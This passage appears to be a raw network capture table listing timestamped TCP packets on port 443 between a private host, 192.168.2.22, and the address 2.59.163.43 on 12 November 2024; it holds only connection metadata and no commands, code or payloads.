Nov 12, 2024 17:29:51.665079117 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.665302038 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.665350914 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.782238960 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782253981 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782309055 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.782334089 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782593966 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782630920 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782639027 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.782648087 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.782685041 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.801950932 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.802002907 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.802059889 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.805900097 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.805953026 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.806005955 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.808099985 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.808116913 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.808774948 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.808790922 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.820884943 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.820957899 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.820993900 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.821007967 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.821022034 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.821055889 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.821063995 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.821075916 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.821118116 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.823529959 CET	49220	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.823539972 CET	443	49220	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.899514914 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.899569035 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.899606943 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:51.899619102 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:51.899661064 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.026109934 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.026146889 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.026196003 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.026211023 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.026221037 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.029721975 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.032527924 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.032558918 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.032593966 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.032603025 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.032610893 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.032696962 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.134025097 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.134058952 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.134103060 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.134120941 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.134131908 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.134207010 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.265083075 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.265120983 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.265157938 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.265172958 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.265182018 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.265309095 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.381710052 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.381732941 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.381791115 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.381804943 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.381824970 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.381944895 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.431597948 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.431885958 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.431909084 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.432240963 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.432574034 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.432631969 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.432775974 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.479332924 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.631105900 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774126053 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774137020 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774174929 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774260044 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774260044 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774307013 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774401903 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774424076 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774454117 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774458885 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774499893 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774533033 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774533033 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774739027 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774754047 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.774807930 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774807930 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.774830103 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.775129080 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.779444933 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.779467106 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.779512882 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.779541969 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.779566050 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.779630899 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.849523067 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850013971 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850045919 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850065947 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.850089073 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850169897 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.850445986 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850451946 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.850492001 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.852613926 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.852638960 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.852705002 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.852718115 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.852756977 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.852807045 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.854125977 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.854144096 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.854175091 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.854182959 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.854191065 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.854372025 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.970419884 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.970437050 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.970501900 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.970515013 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.970591068 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.988663912 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.988676071 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.988703012 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.988737106 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.988755941 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.988763094 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.988806963 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:52.988818884 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:52.990154028 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.039558887 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.042026043 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.042051077 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.042356968 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.046000957 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.046083927 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.046463013 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.046493053 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.059528112 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.061871052 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.061887980 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.062232018 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.066009998 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.066067934 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.066344976 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.066373110 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.087042093 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.087060928 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.087116957 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.087130070 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.088462114 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.088481903 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.088541985 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.088548899 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.088946104 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.105704069 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.105715990 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.105746984 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.105782032 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.105802059 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.126878977 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.126888990 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.126983881 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.127002001 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.131489992 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.204531908 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.204555988 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.204597950 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.204613924 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.204622984 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.222929001 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.222938061 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.222969055 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.223016977 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.223033905 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.223076105 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.259718895 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.259732962 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.259824038 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.259840965 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.259874105 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.259917021 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.273461103 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.273703098 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.279942989 CET	49221	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.279964924 CET	443	49221	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.308151960 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.308198929 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.308248043 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.308278084 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.308341980 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.308475018 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.321151972 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.321161985 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.321187019 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.321321964 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.321321964 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.321335077 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.322154045 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.322175026 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.322202921 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.322212934 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.322221994 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.328085899 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.328130007 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.328176975 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.368277073 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.400703907 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.400729895 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.400774956 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.413429976 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.413444042 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.413830042 CET	49223	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.413846016 CET	443	49223	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.414040089 CET	49222	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.414068937 CET	443	49222	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.431976080 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.432012081 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.432173967 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.434688091 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.434705973 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.435142994 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.435158014 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.435206890 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.435487032 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.435493946 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438450098 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438460112 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438489914 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438508034 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.438519001 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438528061 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.438539028 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.438560963 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.439769030 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.439789057 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.439821005 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.439827919 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.439836979 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.440488100 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.555763960 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.555782080 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.555835009 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.555851936 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.555890083 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.556051970 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.556979895 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.556998014 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.557029963 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.557037115 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.557048082 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.557205915 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.672949076 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.672966003 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.673041105 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.673060894 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.673152924 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.674020052 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.674041033 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.674089909 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.674098015 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.674134970 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.790088892 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.790107965 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.790208101 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.790246010 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.790313959 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.791047096 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.791054964 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.791091919 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.791105032 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.791105032 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.791119099 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.791141987 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.791239977 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.831574917 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.831669092 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.831691027 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.831712008 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.832151890 CET	49219	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.832170010 CET	443	49219	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.836966038 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.837017059 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.837076902 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.837656975 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.837672949 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.843889952 CET	49228	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.843919992 CET	443	49228	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.843985081 CET	49228	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.844321012 CET	49228	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.844336033 CET	443	49228	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.897912025 CET	49229	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.898030043 CET	443	49229	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:53.898092031 CET	49229	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.898782015 CET	49229	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:53.898823977 CET	443	49229	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.934267998 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.934742928 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.934767962 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.935089111 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.935448885 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.935518026 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.935679913 CET	49225	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.936136007 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.936363935 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.936378956 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.936729908 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.937032938 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.937103033 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.937278032 CET	49224	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.937711954 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.937918901 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.937926054 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.938231945 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.938524961 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.938576937 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.938702106 CET	49226	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:54.938714027 CET	443	49226	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.979336023 CET	443	49224	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:54.983330965 CET	443	49225	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.009818077 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.011213064 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:55.011224031 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.011533022 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.011945963 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:55.012006998 CET	443	49227	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.012259007 CET	49227	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:55.023052931 CET	443	49228	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.023299932 CET	49228	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:55.023320913 CET	443	49228	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.023612976 CET	443	49228	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:55.023925066 CET	49228	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:55.023976088 CET	443	49228	2.59.163.43	192.168.2.22
